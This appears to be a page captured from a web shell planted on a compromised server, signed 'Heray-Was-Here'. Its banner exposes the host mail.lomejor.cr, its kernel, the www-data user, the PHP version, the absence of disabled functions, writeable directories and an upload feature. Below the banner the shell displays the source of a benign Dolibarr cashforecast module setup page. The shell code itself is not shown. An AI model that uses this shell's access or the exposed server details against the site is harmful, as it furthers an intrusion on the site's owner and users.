Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/cashforecast/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/cashforecast/admin/setup.php
<?php
/* Copyright (C) 2007-2015 Laurent Destailleur  <eldy@users.sourceforge.net>
 * Copyright (C) 2020      Open-DSI             <support@open-dsi.fr>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>.
 */

/**
 *	    \file       htdocs/cashforecast/admin/setup.php
 *		\ingroup    cashforecast
 *		\brief      Page to setup cashforecast module
 */

// Change this following line to use the correct relative path (../, ../../, etc)
$res = 0;
if (!$res && file_exists('../../main.inc.php'))     $res = @include '../../main.inc.php';			// to work if your module directory is into a subdir of root htdocs directory
if (!$res && file_exists('../../../main.inc.php'))  $res = @include '../../../main.inc.php';		// to work if your module directory is into a subdir of root htdocs directory
if (!$res) die('Include of main fails');
require_once DOL_DOCUMENT_ROOT . '/core/lib/admin.lib.php';
dol_include_once('/cashforecast/lib/cashforecast.lib.php');

$langs->loadLangs(array('admin', 'cashforecast@cashforecast', 'opendsi@cashforecast'));

if (!$user->admin)  accessforbidden();

$action = GETPOST('action', 'alpha');


/**
 * Action
 */
$error = 0;
$errors = array();

if (preg_match('/set_(.*)/',$action,$reg))
{
    $code=$reg[1];
    $value=(GETPOST($code) ? GETPOST($code) : 1);

    $res = dolibarr_set_const($db, $code, $value, 'chaine', 0, '', $conf->entity);
    if (!$res > 0) {
        $error++;
        $errors[] = $db->lasterror();
    }
} elseif (preg_match('/del_(.*)/',$action,$reg)) {
    $code = $reg[1];

    $res = dolibarr_del_const($db, $code, $conf->entity);
    if (!$res > 0) {
        $error++;
        $errors[] = $db->lasterror();
    }
}
//elseif ($action == 'set') {
//
//}

if ($action != '') {
    if ($error) {
        setEventMessages('', $errors, 'errors');
    } else {
        setEventMessage($langs->trans('SetupSaved'));
        header('Location: ' . $_SERVER["PHP_SELF"]);
        exit();
    }
}


/**
 * View
 */
$help_url = 'EN:CashForecast_En|FR:CashForecast_Fr|ES:CashForecast_Es';
llxHeader('', $langs->trans('CashForecastSetup'), $help_url);

$linkback = '<a href="' . DOL_URL_ROOT . '/admin/modules.php">' . $langs->trans('BackToModuleList') . '</a>';
print load_fiche_titre($langs->trans('CashForecastSetup'), $linkback, 'title_setup');
print '<br>';

$head = cashforecast_admin_prepare_head();

dol_fiche_head($head, 'settings', $langs->trans('Parameters'), -1, 'opendsi@cashforecast');


print '<br>';
print '<form method="post" action="' . $_SERVER['PHP_SELF'] . '">';
print '<input type="hidden" name="token" value="' . $_SESSION['newtoken'] . '" />';
print '<input type="hidden" name="action" value="set" />';

$var = true;

print '<table class="noborder" width="100%">';
print '<tr class="liste_titre">';
print '<td>' . $langs->trans('Parameters') . '</td>';
print '<td align="center">&nbsp;</td>';
print '<td align="right">' . $langs->trans('Value') . '</td>';
print '</tr>';

print '</table>';

dol_fiche_end();

//print '<br>';
//print '<div align="center">';
//print '<input type="submit" class="button" value="' . $langs->trans('Modify') . '" />';
//print '</div>';

print '</form>';

llxFooter();

$db->close();

Hry